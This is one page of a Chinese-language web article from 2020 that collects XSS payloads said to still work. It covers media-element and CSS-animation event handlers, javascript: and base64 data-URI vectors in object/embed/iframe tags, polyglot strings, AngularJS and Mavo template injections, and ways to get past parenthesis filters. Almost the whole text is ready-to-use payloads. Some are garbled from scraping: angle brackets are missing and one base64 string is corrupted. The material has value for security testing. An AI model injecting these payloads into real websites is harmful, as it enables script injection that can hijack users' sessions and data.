2020年仍然有效的一些XSS Payload

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16
oncanplay
video, audio
必须链接有效的视频/音频
使用样例:
video autoplay onloadstart="alert()" src=x>video>
    video autoplay controls onplay="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
    video controls onloadeddata="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
    video controls onloadedmetadata="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
    video controls onloadstart="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
    video controls onloadstart="alert()">source src=x>video>
    video controls oncanplay="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
    audio autoplay controls onplay="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">audio>
    audio autoplay controls onplaying="alert()">source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">audio>
基于CSS的事件
不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。
下面的例子使用的是style标签来为动画的开始和结束设置关键帧:
style>@keyframes x {}style>
    p style="animation: x;" onanimationstart="alert()">XSSp>
    p style="animation: x;" onanimationend="alert()">XSSp>
古怪的XSS向量
下面给出的是一些比较“奇葩”的XSS测试向量,这些测试向量很少见:
svg>animate onbegin=alert() attributeName=x>svg>
    object data="data:text/html,alert(5)">
    iframe srcdoc="">
    object data=javascript:alert(3)>
    iframe src=javascript:alert(2)>
    embed src=javascript:alert(1)>
    embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always">embed>
    embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">embed>
XSS多覆盖样例
下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。
字符
使用
多段代码
141
DOM和非DOM
javascript:”/*’/*`/*–>
88
非DOM
“‘–>alert()
95
DOM
‘”–>
54
非DOM
“‘>–>*/alert()
42
DOM
“‘–>
框架
为了攻击JS框架,我们还需要对相关的模板语言进行研究和分析。
AngularJS
{{constructor.constructor('alert(1)')()}}
这个Payload适用于大多数场景,但如果你还需要更多的Payload,可以点击【这里】获取。
Mavo
[self.alert(1)]
XSS过滤器绕过
圆括号过滤
利用HTML解析器和JS语句:
svg onload=alert`1`>svg>
    svg onload=alert(1)>svg>
    svg onload=alert(1)>svg>
    svg onload=alert(1)>svg>
限制字符集
下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:

上一页  [1] [2] [3]  下一页